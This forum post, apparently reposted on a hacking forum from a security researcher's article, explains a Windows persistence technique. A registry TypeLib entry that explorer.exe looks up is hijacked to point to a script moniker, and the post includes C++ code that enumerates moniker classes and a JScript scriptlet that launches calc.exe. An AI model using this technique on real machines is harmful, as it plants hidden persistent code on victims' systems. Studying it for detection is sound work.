Hijack TypeLib. Новая техника COM закрепления.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661
Нашёл и перенёс на XSS.IS: Эрмано

Что такое TypeLib?​

Не секрет, что функциональность COM представлена в определенном файле: DLL-библиотеке или EXE. Однако где взять документацию по конкретному COM-классу? Именно для этого Microsoft придумала TypeLib.
TypeLib содержит информацию о классе COM, который находится в файле. Внутри TypeLib вы можете найти список классов, интерфейсов и описаний методов. Программно вы можете использовать интерфейсы ITypeLib и ITypeInfo для взаимодействия с TypeLib.
Например, в нашем репозитории COMThanasia мы использовали эти интерфейсы для получения информации о конкретном CLSID.
Код: Скопировать в буфер обмена
Код:
PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"
[{00000618-0000-0010-8000-00aa006d2ea4}]
AppID: Unknown
ProgID: Unknown
PID: 1572
Process Name: CLSIDExplorer.exe
Username: WINPC\\Michael
Methods:
[0] __stdcall void QueryInterface(IN GUID*, OUT void**)
[1] __stdcall unsigned long AddRef()
[2] __stdcall unsigned long Release()
[3] __stdcall void GetTypeInfoCount(OUT unsigned int*)
[4] __stdcall void GetTypeInfo(IN unsigned int, IN unsigned long, OUT void**)
[5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsigned int, IN unsigned long, OUT long*)
[6] __stdcall void Invoke(IN long, IN GUID*, IN unsigned long, IN unsigned short, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsigned int*)
[7] __stdcall BSTR Name()
[8] __stdcall void Name(IN BSTR)
[9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)
[10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)
[11] __stdcall void ChangePassword(IN BSTR, IN BSTR)
[12] __stdcall Groups* Groups()
[13] __stdcall Properties* Properties()
[14] __stdcall _Catalog* ParentCatalog()
[15] __stdcall void ParentCatalog(IN _Catalog*)
[16] __stdcall void ParentCatalog(IN _Catalog*)
[END]

В коде мы определили класс TypeLib, содержащий всего два метода, которых было достаточно для извлечения сигнатур функций класса COM.
Также вы можете изучить TypeLib с помощью TypeLibInfoTool.
1729683834968.png




Что такое moniker?​

Моникер - это строковое представление COM-объекта. Буквально тот же самый объект, только в виде простой строки.
Если быть немного более точным, то моникеры - это способ идентификации COM-объекта по специальному имени. Функциональность моникеров также может быть представлена внутри DLL.
Существует довольно много моникеров, которые используются хакерами для выполнения агрессивных задач. Например, существует проект LeakedWallpaper, который представляет собой LPE-эксплойт для систем Windows, использующий моникер Session. Кроме того, существуют также Elevation Monikers, позволяющие обойти UAC.
1729684469914.png


Есть и обычные моникикеры, без интересного функционала. Это Class Moniker. Class Moniker позволяет запускать COM-объект по CLSID, не более того. Вот пример использования Class Moniker.
"clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:"

Связывание COM и Typelib​

Как COM-класс связан с TypeLib? Внутри ключа COM-объекта есть ключ TypeLib.
Например, в данном случае существует COM-объект с CLSID {EAE50EB0-4A62-11CE-BED6-00AA00611080}, который связан с TypeLib с TypeLib ID {0D452EE1-E08F-101A-852E-02608C4D0BB4}. Версия библиотеки TypeLib определена в ключе Version.
1729684640334.png


Если процессу требуется TypeLib, связанный с этим COM-классом, процесс начинает просматривать эти ключи реестра, чтобы найти путь к TypeLib.
Код: Скопировать в буфер обмена
Код:
HKCU\Software\Classes\TypeLib\<TypeLib ID>\<Version>

HKLM\Software\Classes\TypeLib\<TypeLib ID>\<Version>

# Ex
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0

После обнаружения TypeLib загружается по пути из ключа 0->architecture (win32/Win64)->Default Value
Найденный путь передается в функцию LoadTypeLib(). Именно здесь кроется хитрость. Эта функция выполнит моникер, если получит моникер на вход. Таким образом, мы можем перехватить значение в реестре и заставить процесс выполнить наш код. Единственная сложность заключается в том, что нам нужно определить, какую библиотеку TypeLib загружает процесс.

Выбираем moniker​

Представим, что мы узнали, как заставить процесс загружать нужный нам моникер. Но какой моникер мы должны использовать?
Итак, я начал поиски. В сети не нашлось готового списка моникеров, доступных в Windows. Однако когда это было проблемой для исследователей? Согласно документации, моникеры - это все те объекты, которые реализуют интерфейс IMoniker. А сами моникеры - это фактически то же самое, что и COM-объекты. И что мешает нам создать объект, затем вызвать QueryInterface() и проверить, есть ли у этого объекта интерфейс IMoniker? Ничего! Пишем код!

C++: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <iostream>
#include <objbase.h>
#include <combaseapi.h>
#include <objidl.h>
#include <atlbase.h>

LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
    std::wcout << "Wow!! Something had broken" << std::endl;
    return EXCEPTION_CONTINUE_EXECUTION;
}

bool InitializeCOM() {
    HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
    return SUCCEEDED(hr);
}


bool DoesObjectImplementIMoniker(REFCLSID clsid) {
    IMoniker* pMoniker = nullptr;
    IUnknown* pUnknown = nullptr;

HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);
    if (SUCCEEDED(hr) && pUnknown) {

    hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);
    if (SUCCEEDED(hr)) {
        LPOLESTR wsclsid = nullptr;
        hr = StringFromCLSID(clsid, &wsclsid);

        if (SUCCEEDED(hr))
        {
            //std::wcout << L"CLSID:" << wsclsid << std::endl;
            pMoniker->Release();
            pUnknown->Release();
            CoTaskMemFree(wsclsid);
            return true;
        }
    }
    pUnknown->Release();
}


return false;

}

void EnumerateAllCLSID() {
    HKEY hKey;
    if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        wchar_t clsidStr[39];
        DWORD index = 0;
        DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);

        while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {

            CLSID clsid;
            if (CLSIDFromString(clsidStr, &clsid) == S_OK) {
                if (DoesObjectImplementIMoniker(clsid)) {
                    LPOLESTR wsclsid = nullptr;
                    HRESULT hr = StringFromCLSID(clsid, &wsclsid);
                        if (SUCCEEDED(hr))
                        {
                            std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;
                        }
                    }
                }

        index++;
    size = sizeof(clsidStr) / sizeof(clsidStr[0]);
    }

    RegCloseKey(hKey);
    }
}

int main() {
    if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr)
    {
        std::wcout << L"[-] Failed to add the exception handler!" << std::endl;
        return 1;
    }

    if (!InitializeCOM()) {
        std::cerr << "Failed to initialize COM" << std::endl;
        return 1;
        }

        EnumerateAllCLSID();

        CoUninitialize();
        return 0;
    }

Этот код берет все доступные CLSID из HKCR, затем проверяет наличие интерфейса IMoniker на объектах.
1729685159461.png


Экспериментальным путем было обнаружено, что создание некоторых объектов невозможно или приводит к аварийному завершению процесса. Я столкнулся с таким поведением при разработке проекта COMThanasia. Однако мне было лень исправлять этот код. Я решил выяснить, какие особенности характерны для обнаруженных CLSID.
1729685208878.png


Видите, какое интересное название? ClassMoniker. Moniker..... Хм... Действительно ли это отличительная особенность COM-классов, реализующих интерфейс IMoniker?
OleViewDotnet имеет удобную функциональность для группировки CLSID по имени. Я воспользовался ею и нашел множество классов, реализующих моникеры.
1729685271746.png


Среди списка этих классов был найден класс под названием "Moniker to Windows Script Component".
1729685296614.png


Пытаясь найти пример файла для системы Windows Script Component, я наткнулся на ресурс, где описывалось, что это файлы на основе XML с действиями. В этих файлах поддерживается тег script, в котором можно указать код JScript.
XML: Скопировать в буфер обмена
Код:
<?XML version="1.0"?>
<package>
<?component error="true" debug="true"?>
    <comment>
        This skeleton shows how script component elements are
        assembled into a .wsc file.
    </comment>
<component id="MyScriptlet">
    <registration
        progid="progID"
        description="description"
        version="version"
        clsid="{00000000-0000-0000-000000000000}"/>
    <reference object="progID">
    <public>
    <property name="propertyname"/>
    <method name="methodname"/>
    <event name="eventname"/>
    </public>
    <implements type=COMhandlerName id=internalName>
        (interface-specific definitions here)
    </implements>
    <script language="VBScript">
    <![CDATA[
        dim propertyname
        Function methodname()
        ' Script here.
        End Function
    ]]>
    </script>
    <script language="JScript">
    <![CDATA[
        function get_propertyname()
        { // Script here.
        }
        function put_propertyname(newValue)
        { // Script here.
        fireEvent(eventname)
        }
    ]]>
    </script>
    <object id="objID" classid="clsid:00000000-0000-0000-000000000000">
    <resource ID="resourceID1">string or number here</resource>
    <resource ID="resourceID2">string or number here</resource>
</component>
</package>

Мы можем удалить некоторые детали и оставить только полезную нагрузку JScript.
Основу для полезной нагрузки я взял отсюда.

XML: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<scriptlet>
    <Registration
        description="CICADA8 RESEARCH"
        progid="CICADA8"
    v    ersion="1.0">
    </Registration>
<script language="JScript">
    <![CDATA[
        var WShell = new ActiveXObject("WScript.Shell");
        WShell.Run("calc.exe");
    ]]>
    </script>
</scriptlet>

Если мы используем скрипт-моникер для указания на этот файл, то создание моникера приведет к запуску процесса.

Поиск подходящей цели​

Осталось только обнаружить процесс, загружающий библиотеку, которую мы можем подменить. Я открыл Process Monitor, добавил фильтры... И обнаружил, что explorer.exe постоянно пытается загрузить какие-то библиотеки TypeLib!
1729685977394.png


Возьмем путь, который имеет статус NAME NOT FOUND в Result.
1729686017595.png


Это HKCU\Software\Classes\TypeLib\{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1. Как видите, такого пути нет. Давайте создадим его.
1729686072079.png


Все, что нам нужно сделать, это восстановить этот путь, указав путь к нашему файлу .sct.
1729686102946.png

Пример ключа
И в следующий раз, когда мы запустим или закроем процесс explorer.exe, наш код будет выполнен. explorer.exe - это процесс, который автоматически запускается при старте системы, так что у нас появился еще один способ получить постоянство!
1729686140897.png

Закрепление работает!

Итог​

Этот ресёрч был самым интересным, из всех, что я знаю, автор представил очень интересный метод для закрепления, также для была разработана утилита - TypeLibWalker.
Желаю всем хорошего дня!
 
Сверху Снизу